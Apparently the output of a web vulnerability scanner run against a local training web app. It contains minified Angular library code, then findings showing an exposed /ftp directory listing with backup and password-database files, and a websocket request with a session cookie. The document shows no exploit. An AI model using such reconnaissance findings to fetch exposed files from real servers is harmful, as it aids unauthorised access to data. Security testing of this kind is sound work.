0===this.buffer.length&&this.isComplete}notifyComplete(){this.buffer.length>0?(this.isComplete=!0,this.parent.notifyInactive()):this.destination.complete()}notifyNext(qe){this.buffer.push(qe),this.parent.checkIterators()}subscribe(){return(0,S.ft)(this.observable,new S.IY(this))}}var G=d(5254),Q=d(352),oe=d(2198),Ce=d(4850),k=d(2986),K=d(7545),se=d(2868),ee=d(7221),q=d(6895),we=d(1481);const ce=new n.OlP("HIGHLIGHT_OPTIONS");let je=(()=>{class Ye{constructor(Ke,dt,bt){this.doc=Ke,this._options=bt,this._ready=new a.X(null),this.ready=this._ready.asObservable().pipe((0,oe.h)(ze=>!!ze),(0,Ce.U)(ze=>ze),(0,k.q)(1)),(0,q.NF)(dt)&&(Ke.defaultView.hljs?this._ready.next(Ke.defaultView.hljs):this._loadLibrary().pipe((0,K.w)(ze=>this._options&&this._options.lineNumbersLoader?(Ke.defaultView.hljs=ze,this.loadLineNumbers().pipe((0,se.b)(()=>this._ready.next(ze)))):(this._ready.next(ze),s.E)),(0,ee.K)(ze=>(console.error("[HLJS] ",ze),s.E))).subscribe(),this._options?.themePath&&this.loadTheme(this._options.themePath))}_loadLibrary(){if(this._options){if(this._options.fullLibraryLoader&&this._options.coreLibraryLoader)return(0,u._)(()=>"The full library and the core library were imported, only one of them should be imported!");if(this._options.fullLibraryLoader&&this._options.languages)return(0,u._)(()=>"The highlighting languages were imported they are not needed!");if(this._options.coreLibraryLoader&&!this._options.languages)return(0,u._)(()=>"The highlighting languages were not imported!");if(!this._options.coreLibraryLoader&&this._options.languages)return(0,u._)(()=>"The core library was not imported!");if(this._options.fullLibraryLoader)return this.loadFullLibrary();if(this._options.coreLibraryLoader&&this._options.languages&&Object.keys(this._options.languages).length)return this.loadCoreLibrary().pipe((0,K.w)(Ke=>this._loadLanguages(Ke)))}return(0,u._)(()=>"Highlight.js library was not imported!")}_loadLanguages(Ke){return function g(...Ye){const qe=Ye[Ye.length-1];return"function"==typeof qe&&Ye.pop(),(0,c.n)(Ye,void 0).lift(new C(qe))}(...Object.entries(this._options.languages).map(([bt,ze])=>Ze(ze()).pipe((0,se.b)(De=>Ke.registerLanguage(bt,De))))).pipe((0,Ce.U)(()=>Ke))}loadCoreLibrary(){return Ze(this._options.coreLibraryLoader())}loadFullLibrary(){return Ze(this._options.fullLibraryLoader())}loadLineNumbers(){return Ze(this._options.lineNumbersLoader())}setTheme(Ke){this._themeLinkElement.href=Ke}loadTheme(Ke){this._themeLinkElement=this.doc.createElement("link"),this._themeLinkElement.href=Ke,this._themeLinkElement.type="text/css",this._themeLinkElement.rel="stylesheet",this._themeLinkElement.media="screen,print",this.doc.head.appendChild(this._themeLinkElement)}}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)(n.LFG(q.K0),n.LFG(n.Lbi),n.LFG(ce,8))},Ye.\\u0275prov=n.Yz7({token:Ye,factory:Ye.\\u0275fac,providedIn:"root"}),Ye})();const Ze=Ye=>(0,G.D)(Ye).pipe((0,oe.h)(qe=>!!qe&&!!qe.default),(0,Ce.U)(qe=>qe.default));let le=(()=>{class Ye{constructor(Ke,dt){this._loader=Ke,this._hljs=null,Ke.ready.subscribe(bt=>{this._hljs=bt,dt&&dt.config&&(bt.configure(dt.config),bt.listLanguages().length<1&&console.error("[HighlightJS]: No languages were registered!"))})}get hljs(){return this._hljs}highlight(Ke,{language:dt,ignoreIllegals:bt}){return this._loader.ready.pipe((0,Ce.U)(ze=>ze.highlight(Ke,{language:dt,ignoreIllegals:bt})))}highlightAuto(Ke,dt){return this._loader.ready.pipe((0,Ce.U)(bt=>bt.highlightAuto(Ke,dt)))}highlightElement(Ke){return this._loader.ready.pipe((0,Ce.U)(dt=>dt.highlightElement(Ke)))}highlightAll(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.highlightAll()))}configure(Ke){return this._loader.ready.pipe((0,Ce.U)(dt=>dt.configure(Ke)))}registerLanguage(Ke,dt){return this._loader.ready.pipe((0,se.b)(bt=>bt.registerLanguage(Ke,dt)))}unregisterLanguage(Ke){return this._loader.ready.pipe((0,se.b)(dt=>dt.unregisterLanguage(Ke)))}registerAliases(Ke,{languageName:dt}){return this._loader.ready.pipe((0,se.b)(bt=>bt.registerAliases(Ke,{languageName:dt})))}listLanguages(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.listLanguages()))}getLanguage(Ke){return this._loader.ready.pipe((0,Ce.U)(dt=>dt.getLanguage(Ke)))}safeMode(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.safeMode()))}debugMode(){return this._loader.ready.pipe((0,Ce.U)(Ke=>Ke.debugMode()))}lineNumbersBlock(Ke){return this._loader.ready.pipe((0,oe.h)(dt=>!!dt.lineNumbersBlock),(0,se.b)(dt=>dt.lineNumbersBlock(Ke)))}}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)(n.LFG(je),n.LFG(ce,8))},Ye.\\u0275prov=n.Yz7({token:Ye,factory:Ye.\\u0275fac,providedIn:"root"}),Ye})(),Oe=(()=>{class Ye{constructor(Ke,dt,bt,ze){this._hljs=dt,this._sanitizer=bt,this._options=ze,this.highlighted=new n.vpe,this._nativeElement=Ke.nativeElement}ngOnChanges(Ke){null!==Ke?.code?.currentValue&&Ke.code.currentValue!==Ke.code.previousValue&&(this.code?this.highlightElement(this.code,this.languages):this.setTextContent(""))}highlightElement(Ke,dt){this.setTextContent(Ke),this._hljs.highlightAuto(Ke,dt).subscribe(bt=>{this.setInnerHTML(bt?.value),this.lineNumbers&&this._options&&this._options.lineNumbersLoader&&this.addLineNumbers(),this.highlighted.emit(bt)})}addLineNumbers(){this.destroyLineNumbersObserver(),Q.Z.schedule(()=>{this._hljs.lineNumbersBlock(this._nativeElement).subscribe(),this._lineNumbersObs=new MutationObserver(()=>{this._nativeElement.firstElementChild&&"TABLE"===this._nativeElement.firstElementChild.tagName.toUpperCase()&&this._nativeElement.classList.add("hljs-line-numbers"),this.destroyLineNumbersObserver()}),this._lineNumbersObs.observe(this._nativeElement,{childList:!0})})}destroyLineNumbersObserver(){this._lineNumbersObs&&(this._lineNumbersObs.disconnect(),this._lineNumbersObs=null)}setTextContent(Ke){Q.Z.schedule(()=>this._nativeElement.textContent=Ke)}setInnerHTML(Ke){Q.Z.schedule(()=>this._nativeElement.innerHTML=this._sanitizer.sanitize(n.q3G.HTML,Ke)||"")}}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)(n.Y36(n.SBq),n.Y36(le),n.Y36(we.H7),n.Y36(ce,8))},Ye.\\u0275dir=n.lG2({type:Ye,selectors:[["","highlight",""]],hostVars:2,hostBindings:function(Ke,dt){2&Ke&&n.ekj("hljs",!0)},inputs:{code:["highlight","code"],languages:"languages",lineNumbers:"lineNumbers"},outputs:{highlighted:"highlighted"},features:[n.TTD]}),Ye})(),Qe=(()=>{class Ye{}return Ye.\\u0275fac=function(Ke){return new(Ke||Ye)},Ye.\\u0275mod=n.oAB({type:Ye}),Ye.\\u0275inj=n.cJS({}),Ye})()},8423:(At,ae,d)=>{"use strict";d.d(ae,{Ro:()=>se,ef:()=>ee,t2:()=>Ce});var n=d(4650),a=d(591),s=d(8929),u=d(2198),c=d(7625),f=d(7340),E=d(6895),_=d(1481);const S=["overlay"];function g(q,we){1&q&&n._UZ(0,"div")}function C(q,we){if(1&q&&(n.TgZ(0,"div"),n.YNc(1,g,1,0,"div",6),n.qZA()),2&q){const ce=n.oxw(2);n.Tol(ce.spinner.class),n.Udp("color",ce.spinner.color),n.xp6(1),n.Q6J("ngForOf",ce.spinner.divArray)}}function z(q,we){if(1&q&&(n._UZ(0,"div",7),n.ALo(1,"safeHtml")),2&q){const ce=n.oxw(2);n.Q6J("innerHTML",n.lcZ(1,1,ce.template),n.oJD)}}function H(q,we){if(1&q&&(n.TgZ(0,"div",1,2),n.YNc(2,C,2,5,"div",3),n.YNc(3,z,2,3,"div",4),n.TgZ(4,"div",5),n.Hsn(5),n.qZA()()),2&q){const ce=n.oxw();n.Udp("background-color",ce.spinner.bdColor)("z-index",ce.spinner.zIndex)("position",ce.spinner.fullScreen?"fixed":"absolute"),n.Q6J("@.disabled",ce.disableAnimation)("@fadeIn","in"),n.xp6(2),n.Q6J("ngIf",!ce.template),n.xp6(1),n.Q6J("ngIf",ce.template),n.xp6(1),n.Udp("z-index",ce.spinner.zIndex)}}const j=["*"],U={"ball-8bits":16,"ball-atom":4,"ball-beat":3,"ball-circus":5,"ball-climbing-dot":4,"ball-clip-rotate":1,"ball-clip-rotate-multiple":2,"ball-clip-rotate-pulse":2,"ball-elastic-dots":5,"ball-fall":3,"ball-fussion":4,"ball-grid-beat":9,"ball-grid-pulse":9,"ball-newton-cradle":4,"ball-pulse":3,"ball-pulse-rise":5,"ball-pulse-sync":3,"ball-rotate":1,"ball-running-dots":5,"ball-scale":1,"ball-scale-multiple":3,"ball-scale-pulse":2,"ball-scale-ripple":1,"ball-scale-ripple-multiple":3,"ball-spin":8,"ball-spin-clockwise":8,"ball-spin-clockwise-fade":8,"ball-spin-clockwise-fade-rotating":8,"ball-spin-fade":8,"ball-spin-fade-rotating":8,"ball-spin-rotate":2,"ball-square-clockwise-spin":8,"ball-square-spin":8,"ball-triangle-path":3,"ball-zig-zag":2,"ball-zig-zag-deflect":2,cog:1,"cube-transition":2,fire:3,"line-scale":5,"line-scale-party":5,"line-scale-pulse-out":5,"line-scale-pulse-out-rapid":5,"line-spin-clockwise-fade":8,"line-spin-clockwise-fade-rotating":8,"line-spin-fade":8,"line-spin-fade-rotating":8,pacman:6,"square-jelly-box":2,"square-loader":1,"square-spin":1,timer:1,"triangle-skew-spin":1},Q="primary";class oe{constructor(we){Object.assign(this,we)}static create(we){return!we?.template&&(null==we?.type||0===we.type.length)&&console.warn(\'[ngx-spinner]: Property "type" is missed. Please, provide animation type to <ngx-spinner> component\\n and ensure css is added to angular.json file\'),new oe(we)}}let Ce=(()=>{class q{constructor(){this.spinnerObservable=new a.X(null)}getSpinner(ce){return this.spinnerObservable.asObservable().pipe((0,u.h)(je=>je&&je.name===ce))}show(ce=Q,je){return new Promise((Ze,le)=>{setTimeout(()=>{je&&Object.keys(je).length?(je.name=ce,this.spinnerObservable.next(new oe({...je,show:!0})),Ze(!0)):(this.spinnerObservable.next(new oe({name:ce,show:!0})),Ze(!0))},10)})}hide(ce=Q,je=10){return new Promise((Ze,le)=>{setTimeout(()=>{this.spinnerObservable.next(new oe({name:ce,show:!1})),Ze(!0)},je)})}}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275prov=n.Yz7({token:q,factory:q.\\u0275fac,providedIn:"root"}),q})();const k=new n.OlP("NGX_SPINNER_CONFIG");let K=(()=>{class q{constructor(ce){this._sanitizer=ce}transform(ce){if(ce)return this._sanitizer.bypassSecurityTrustHtml(ce)}}return q.\\u0275fac=function(ce){return new(ce||q)(n.Y36(_.H7,16))},q.\\u0275pipe=n.Yjl({name:"safeHtml",type:q,pure:!0}),q})(),se=(()=>{class q{constructor(ce,je,Ze,le){this.spinnerService=ce,this.changeDetector=je,this.elementRef=Ze,this.globalConfig=le,this.disableAnimation=!1,this.spinner=new oe,this.ngUnsubscribe=new s.xQ,this.setDefaultOptions=()=>{const{type:Oe}=this.globalConfig??{};this.spinner=oe.create({name:this.name,bdColor:this.bdColor,size:this.size,color:this.color,type:this.type??Oe,fullScreen:this.fullScreen,divArray:this.divArray,divCount:this.divCount,show:this.show,zIndex:this.zIndex,template:this.template,showSpinner:this.showSpinner})},this.bdColor="rgba(51,51,51,0.8)",this.zIndex=99999,this.color="#fff",this.size="large",this.fullScreen=!0,this.name=Q,this.template=null,this.showSpinner=!1,this.divArray=[],this.divCount=0,this.show=!1}handleKeyboardEvent(ce){this.spinnerDOM&&this.spinnerDOM.nativeElement&&(this.fullScreen||!this.fullScreen&&this.isSpinnerZone(ce.target))&&(ce.returnValue=!1,ce.preventDefault())}initObservable(){this.spinnerService.getSpinner(this.name).pipe((0,c.R)(this.ngUnsubscribe)).subscribe(ce=>{this.setDefaultOptions(),Object.assign(this.spinner,ce),ce.show&&this.onInputChange(),this.changeDetector.detectChanges()})}ngOnInit(){this.setDefaultOptions(),this.initObservable()}isSpinnerZone(ce){return ce===this.elementRef.nativeElement.parentElement||ce.parentNode&&this.isSpinnerZone(ce.parentNode)}ngOnChanges(ce){for(const je in ce)if(je){const Ze=ce[je];if(Ze.isFirstChange())return;typeof Ze.currentValue<"u"&&Ze.currentValue!==Ze.previousValue&&""!==Ze.currentValue&&(this.spinner[je]=Ze.currentValue,"showSpinner"===je&&(Ze.currentValue?this.spinnerService.show(this.spinner.name,this.spinner):this.spinnerService.hide(this.spinner.name)),"name"===je&&this.initObservable())}}getClass(ce,je){this.spinner.divCount=U[ce],this.spinner.divArray=Array(this.spinner.divCount).fill(0).map((le,Oe)=>Oe);let Ze="";switch(je.toLowerCase()){case"small":Ze="la-sm";break;case"medium":Ze="la-2x";break;case"large":Ze="la-3x"}return"la-"+ce+" "+Ze}onInputChange(){this.spinner.class=this.getClass(this.spinner.type,this.spinner.size)}ngOnDestroy(){this.ngUnsubscribe.next(),this.ngUnsubscribe.complete()}}return q.\\u0275fac=function(ce){return new(ce||q)(n.Y36(Ce),n.Y36(n.sBO),n.Y36(n.SBq),n.Y36(k,8))},q.\\u0275cmp=n.Xpm({type:q,selectors:[["ngx-spinner"]],viewQuery:function(ce,je){if(1&ce&&n.Gf(S,5),2&ce){let Ze;n.iGM(Ze=n.CRH())&&(je.spinnerDOM=Ze.first)}},hostBindings:function(ce,je){1&ce&&n.NdJ("keydown",function(le){return je.handleKeyboardEvent(le)},!1,n.evT)},inputs:{bdColor:"bdColor",size:"size",color:"color",type:"type",fullScreen:"fullScreen",name:"name",zIndex:"zIndex",template:"template",showSpinner:"showSpinner",disableAnimation:"disableAnimation"},features:[n.TTD],ngContentSelectors:j,decls:1,vars:1,consts:[["class","ngx-spinner-overlay",3,"background-color","z-index","position",4,"ngIf"],[1,"ngx-spinner-overlay"],["overlay",""],[3,"class","color",4,"ngIf"],[3,"innerHTML",4,"ngIf"],[1,"loading-text"],[4,"ngFor","ngForOf"],[3,"innerHTML"]],template:function(ce,je){1&ce&&(n.F$t(),n.YNc(0,H,6,12,"div",0)),2&ce&&n.Q6J("ngIf",je.spinner.show)},dependencies:[E.sg,E.O5,K],styles:[".ngx-spinner-overlay[_ngcontent-%COMP%]{position:fixed;top:0;left:0;width:100%;height:100%}.ngx-spinner-overlay[_ngcontent-%COMP%] > div[_ngcontent-%COMP%]:not(.loading-text){top:50%;left:50%;margin:0;position:absolute;transform:translate(-50%,-50%)}.loading-text[_ngcontent-%COMP%]{position:absolute;top:60%;left:50%;transform:translate(-50%,-60%)}"],data:{animation:[(0,f.X$)("fadeIn",[(0,f.SB)("in",(0,f.oB)({opacity:1})),(0,f.eR)(":enter",[(0,f.oB)({opacity:0}),(0,f.jt)(300)]),(0,f.eR)(":leave",(0,f.jt)(200,(0,f.oB)({opacity:0})))])]},changeDetection:0}),q})(),ee=(()=>{class q{static forRoot(ce){return{ngModule:q,providers:[{provide:k,useValue:ce}]}}}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=n.oAB({type:q}),q.\\u0275inj=n.cJS({imports:[E.ez]}),q})()},42:(At,ae,d)=>{"use strict";d.d(ae,{io:()=>n});var n=d(8450)},5861:(At,ae,d)=>{"use strict";function n(s,u,c,f,E,_,S){try{var g=s[_](S),C=g.value}catch(z){return void c(z)}g.done?u(C):Promise.resolve(C).then(f,E)}function a(s){return function(){var u=this,c=arguments;return new Promise(function(f,E){var _=s.apply(u,c);function S(C){n(_,f,E,S,g,"next",C)}function g(C){n(_,f,E,S,g,"throw",C)}S(void 0)})}}d.d(ae,{Z:()=>a})}}]);'
The application sent a <meta> tag with the attribute value set to "width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" which looks interesting and should be manually reviewed. The first ten URLs which sent the tag are: - http://localhost:3000/ftp
GET http://localhost:3000/ftp HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Referer: http://localhost:3000/robots.txt Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b"HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:27:00 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\'utf-8\'> \n <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />\n <title>listing directory /ftp</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2, h3 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nh3 {\n margin: 5px 0 10px 0;\n padding-bottom: 5px;\n border-bottom: 1px solid #eee;\n font-size: 18px;\n}\nul li {\n list-style: none;\n}\nul li:hover {\n cursor: pointer;\n color: #2e2e2e;\n}\nul li .path {\n padding-left: 5px;\n font-weight: bold;\n}\nul li .line {\n padding-right: 5px;\n font-style: italic;\n}\nul li:first-child .path {\n padding-left: 0;\n}\np {\n line-height: 1.5;\n}\na {\n color: #555;\n text-decoration: none;\n}\na:hover {\n color: #303030;\n}\n#stacktrace {\n margin-top: 15px;\n}\n.directory h1 {\n margin-bottom: 15px;\n font-size: 18px;\n}\nul#files {\n width: 100%;\n height: 100%;\n overflow: hidden;\n}\nul#files li {\n float: left;\n width: 30%;\n line-height: 25px;\n margin: 1px;\n}\nul#files li a {\n display: block;\n height: 25px;\n border: 1px solid transparent;\n -webkit-border-radius: 5px;\n -moz-border-radius: 5px;\n border-radius: 5px;\n overflow: hidden;\n white-space: nowrap;\n}\nul#files li a:focus,\nul#files li a:hover {\n background: rgba(255,255,255,0.65);\n border: 1px solid #ececec;\n}\nul#files li a.highlight {\n -webkit-transition: background .4s ease-in-out;\n background: #ffff4f;\n border-color: #E9DC51;\n}\n#search {\n display: block;\n position: fixed;\n top: 20px;\n right: 20px;\n width: 90px;\n -webkit-transition: width ease 0.2s, opacity ease 0.4s;\n -moz-transition: width ease 0.2s, opacity ease 0.4s;\n -webkit-border-radius: 32px;\n -moz-border-radius: 32px;\n -webkit-box-shadow: inset 0px 0px 3px rgba(0, 0, 0, 0.25), inset 0px 1px 3px rgba(0, 0, 0, 0.7), 0px 1px 0px rgba(255, 255, 255, 0.03);\n -moz-box-shadow: inset 0px 0px 3px rgba(0, 0, 0, 0.25), inset 0px 1px 3px rgba(0, 0, 0, 0.7), 0px 1px 0px rgba(255, 255, 255, 0.03);\n -webkit-font-smoothing: antialiased;\n text-align: left;\n font: 13px "Helvetica Neue", Arial, sans-serif;\n padding: 4px 10px;\n border: none;\n background: transparent;\n margin-bottom: 0;\n outline: none;\n opacity: 0.7;\n color: #888;\n}\n#search:focus {\n width: 120px;\n opacity: 1.0; \n}\n\n/*views*/\n#files span {\n display: inline-block;\n overflow: hidden;\n text-overflow: ellipsis;\n text-indent: 10px;\n}\n#files .name {\n background-repeat: no-repeat;\n}\n#files .icon .name {\n text-indent: 28px;\n}\n\n/*tiles*/\n.view-tiles .name {\n width: 100%;\n background-position: 8px 5px;\n}\n.view-tiles .size,\n.view-tiles .date {\n display: none;\n}\n\n/*details*/\nul#files.view-details li {\n float: none;\n display: block;\n width: 90%;\n}\nul#files.view-details li.header {\n height: 25px;\n background: #000;\n color: #fff;\n font-weight: bold;\n}\n.view-details .header {\n border-radius: 5px;\n}\n.view-details .name {\n width: 60%;\n background-position: 8px 5px;\n}\n.view-details .size {\n width: 10%;\n}\n.view-details .date {\n width: 30%;\n}\n.view-details .size,\n.view-details .date {\n text-align: right;\n direction: rtl;\n}\n\n/*mobile*/\n@media (max-width: 768px) {\n body {\n font-size: 13px;\n line-height: 16px;\n padding: 0;\n }\n #search {\n position: static;\n width: 100%;\n font-size: 2em;\n line-height: 1.8em;\n text-indent: 10px;\n border: 0;\n border-radius: 0;\n padding: 10px 0;\n margin: 0;\n }\n #search:focus {\n width: 100%;\n border: 0;\n opacity: 1;\n }\n .directory h1 {\n font-size: 2em;\n line-height: 1.5em;\n color: #fff;\n background: #000;\n padding: 15px 10px;\n margin: 0;\n }\n ul#files {\n border-top: 1px solid #cacaca;\n }\n ul#files li {\n float: none;\n width: auto !important;\n display: block;\n border-bottom: 1px solid #cacaca;\n font-size: 2em;\n line-height: 1.2em;\n text-indent: 0;\n margin: 0;\n }\n ul#files li:nth-child(odd) {\n background: #e0e0e0;\n }\n ul#files li a {\n height: auto;\n border: 0;\n border-radius: 0;\n padding: 15px 10px;\n }\n ul#files li a:focus,\n ul#files li a:hover {\n border: 0;\n }\n #files .header,\n #files .size,\n #files .date {\n display: none !important;\n }\n #files .name {\n float: none;\n display: inline-block;\n width: 100%;\n text-indent: 0;\n background-position: 0 50%;\n }\n #files .icon .name {\n text-indent: 41px;\n }\n}\n#files .icon-directory .name {\n background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAALGPC/xhBQAAAWtQTFRFAAAA/PPQ9Nhc2q402qQ12qs2/PTX2pg12p81+/LM89NE9dto2q82+/fp2rM22qY39d6U+/bo2qo2/frx/vz32q812qs12qE279SU8c4w9NZP+/LK//367s9y7s925cp0/vzw9t92//342po2/vz25s1579B6+OSO2bQ0/v799NyT8tE79dld8Msm+OrC/vzx79KA2IYs7s6I9d6R4cJe9+OF/PLI/fry79OF/v30//328tWB89RJ8c9p8c0u9eCf//7+9txs6sts5Mdr+++5+u2z/vrv+/fq6cFz8dBs8tA57cpq+OaU9uGs27Y8//799NdX/PbY9uB89unJ//z14sNf+emh+emk+vDc+uys9+OL8dJy89NH+eic8tN5+OaV+OWR9N2n9dtl9t529+KF9+GB9Nue9NdU8tR/9t5y89qW9dpj89iO89eG/vvu2pQ12Y4z/vzy2Ict/vvv48dr/vzz4sNg///+2Igty3PqwQAAAAF0Uk5TAEDm2GYAAACtSURBVBjTY2AgA2iYlJWVhfohBPg0yx38y92dS0pKVOVBAqIi6sb2vsWWpfrFeTI8QAEhYQEta28nCwM1OVleZqCAmKCEkUdwYWmhQnFeOStQgL9cySqkNNDHVJGbiY0FKCCuYuYSGRsV5KgjxcXIARRQNncNj09JTgqw0ZbkZAcK5LuFJaRmZqfHeNnpSucDBQoiEtOycnIz4qI9bfUKQA6pKKqAgqIKQyK8BgAZ5yfODmnHrQAAAABJRU5ErkJggg==);\n}\n#files .icon-text .name {\n background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAADoSURBVBgZBcExblNBGAbA2ceegTRBuIKOgiihSZNTcC5LUHAihNJR0kGKCDcYJY6D3/77MdOinTvzAgCw8ysThIvn/VojIyMjIyPP+bS1sUQIV2s95pBDDvmbP/mdkft83tpYguZq5Jh/OeaYh+yzy8hTHvNlaxNNczm+la9OTlar1UdA/+C2A4trRCnD3jS8BB1obq2Gk6GU6QbQAS4BUaYSQAf4bhhKKTFdAzrAOwAxEUAH+KEM01SY3gM6wBsEAQB0gJ+maZoC3gI6iPYaAIBJsiRmHU0AALOeFC3aK2cWAACUXe7+AwO0lc9eTHYTAAAAAElFTkSuQmCC);\n}\n#files .icon-default .name {\n background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC4SURBVCjPdZFbDsIgEEWnrsMm7oGGfZrohxvU+Iq1TyjU60Bf1pac4Yc5YS4ZAtGWBMk/drQBOVwJlZrWYkLhsB8UV9K0BUrPGy9cWbng2CtEEUmLGppPjRwpbixUKHBiZRS0p+ZGhvs4irNEvWD8heHpbsyDXznPhYFOyTjJc13olIqzZCHBouE0FRMUjA+s1gTjaRgVFpqRwC8mfoXPPEVPS7LbRaJL2y7bOifRCTEli3U7BMWgLzKlW/CuebZPAAAAAElFTkSuQmCC);\n}\n</style>\n <script>\n function $(id){\n var el = \'string\' == typeof id\n ? document.getElementById(id)\n : id;\n\n el.on = function(event, fn){\n if (\'content loaded\' == event) {\n event = window.attachEvent ? "load" : "DOMContentLoaded";\n }\n el.addEventListener\n ? el.addEventListener(event, fn, false)\n : el.attachEvent("on" + event, fn);\n };\n\n el.all = function(selector){\n return $(el.querySelectorAll(selector));\n };\n\n el.each = function(fn){\n for (var i = 0, len = el.length; i < len; ++i) {\n fn($(el[i]), i);\n }\n };\n\n el.getClasses = function(){\n return this.getAttribute(\'class\').split(/\\s+/);\n };\n\n el.addClass = function(name){\n var classes = this.getAttribute(\'class\');\n el.setAttribute(\'class\', classes\n ? classes + \' \' + name\n : name);\n };\n\n el.removeClass = function(name){\n var classes = this.getClasses().filter(function(curr){\n return curr != name;\n });\n this.setAttribute(\'class\', classes.join(\' \'));\n };\n\n return el;\n }\n\n function search() {\n var str = $(\'search\').value.toLowerCase();\n var links = $(\'files\').all(\'a\');\n\n links.each(function(link){\n var text = link.textContent.toLowerCase();\n\n if (\'..\' == text) return;\n if (str.length && ~text.indexOf(str)) {\n link.addClass(\'highlight\');\n } else {\n link.removeClass(\'highlight\');\n }\n });\n }\n\n $(window).on(\'content loaded\', function(){\n $(\'search\').on(\'keyup\', search);\n });\n </script>\n </head>\n <body class="directory">\n <input id="search" type="text" placeholder="Search" autocomplete="off" />\n <div id="wrapper">\n <h1><a href=".">~</a> / <a href="ftp">ftp</a></h1>\n <ul id="files" class="view-tiles"><li><a href="ftp/quarantine" class="icon icon-directory" title="quarantine"><span class="name">quarantine</span><span class="size"></span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/acquisitions.md" class="icon icon icon-md icon-text" title="acquisitions.md"><span class="name">acquisitions.md</span><span class="size">909</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/announcement_encrypted.md" class="icon icon icon-md icon-text" title="announcement_encrypted.md"><span class="name">announcement_encrypted.md</span><span class="size">369237</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/coupons_2013.md.bak" class="icon icon icon-bak icon-default" title="coupons_2013.md.bak"><span class="name">coupons_2013.md.bak</span><span class="size">131</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/eastere.gg" class="icon icon icon-gg icon-default" title="eastere.gg"><span class="name">eastere.gg</span><span class="size">324</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/encrypt.pyc" class="icon icon icon-pyc icon-default" title="encrypt.pyc"><span class="name">encrypt.pyc</span><span class="size">573</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/incident-support.kdbx" class="icon icon icon-kdbx icon-default" title="incident-support.kdbx"><span class="name">incident-support.kdbx</span><span class="size">3246</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/legal.md" class="icon icon icon-md icon-text" title="legal.md"><span class="name">legal.md</span><span class="size">3047</span><span class="date">3/5/2024 5:20:40 PM</span></a></li>\n<li><a href="ftp/package.json.bak" class="icon icon icon-bak icon-default" title="package.json.bak"><span class="name">package.json.bak</span><span class="size">4291</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/suspicious_errors.yml" class="icon icon icon-yml icon-text" title="suspicious_errors.yml"><span class="name">suspicious_errors.yml</span><span class="size">723</span><span class="date">2/28/2024 2:12:47 PM</span></a></li></ul>\n </div>\n </body>\n</html>'
The remote web server sent 1 HTTP responses with the uncommon response header "Upgrade", one of the received header values is "websocket". The first ten URLs which sent the uncommon header are: - http://localhost:3000/socket.io/
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Re-nNfDJbx5LKvZQAAAH HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: zqdDko8eSrLeSopXWPHH0Q== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
